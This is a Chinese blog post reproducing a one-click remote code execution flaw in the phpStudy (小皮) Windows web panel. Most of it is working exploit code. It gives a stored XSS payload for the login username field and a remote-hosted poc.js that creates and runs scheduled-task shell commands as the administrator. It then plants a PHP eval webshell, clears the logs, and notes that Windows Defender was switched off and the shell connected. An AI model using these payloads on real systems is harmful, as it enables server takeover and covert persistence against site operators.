phpstudy_小皮Web面板_RCE漏洞

一、漏洞描述


最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

二、漏洞复现


  1. 首先在官网下载最新的 小皮windows面板 安装程序

  1. 在win10虚拟机中进行安装

  1. 安装完成后会弹出访问地址,具体如下:

  1. 访问登录系统面板,页面如下:

  1. 首先在用户名处插入弹窗的xss代码验证是否存在漏洞

<script>alert(123)</script>

  1. 然后再使用管理员账号登录系统

发现已经触发了弹窗。这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了。

  1. 该系统后台有个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。

具体步骤如下:

a. 在vps上部署需要插入的 poc.js 文件,内容显示如下(在服务器的www目录下写入验证txt文件)

functionpoc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    varid=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res){
      $.post('/service/app/tasks.php?type=set_task_status',{
        task_id:id,
        status:0
      },function(res1){
        $.post('/service/app/tasks.php?type=set_task_status',{
          task_id:id,
          status:0
        },function(res2){
          $.post("/service/app/log.php?type=clearlog",{
            type:"clearlog"
          },function(res3){},"json");
        },"json");
      },"json");
    },"json");
  },"json");
}
functionsave(){
  vardata=newObject();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="10";
  data.minute="15";
  data.shell="echo ryan >C:/xp/xp.cn/www/1.txt";
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();
​
// 这里的hour代表时,minute代表分

PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩

b. 然后在登陆的用户名处插入如下代码

<scriptsrc=http://192.168.81.162/poc.js></script>

c. 只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件。

复现到此,程序崩了。

使用 小皮面板命令行 重启服务

d. 因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站

e. 这里写入webshell的话可以向网站目录下写

C:\xp\xp.cn\www\wwwroot\admin\localhost_80\wwwroot

f. 将上面的poc改造如下

functionpoc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    varid=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
functionsave(){
  vardata=newObject();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute="20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

g. 用户名输入一下payload,密码任意,登录两次(登录一次面板有时候会不显示)

<scriptsrc=http://192.168.81.162/poc2.js></script>

h. 当管理员进入了首页或者操作日志,即可执行计划任务写入webshell

Windows Defender 直接把webshell给删了

关闭Windows Defender,重新写入计划任务

i. 执行完成之后可以看到写入php文件成功了

j. 连接蚁剑

三、总结

登录框处存在一个xss,管理员登录成功之后会触发xss漏洞,在登录成功之后的后台功能点计划任务当中存在命令执行,但是需要登录成功才可以利用,所以直接去编写恶意JS文件去写入计划任务,再到管理员登录去触发xss,使其管理员登录成功之后触发xss里的恶意JS文件从而导致RCE。

四、参考链接

phpstudy 小皮web面板 RCE漏洞

小皮web面板 RCE漏洞

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值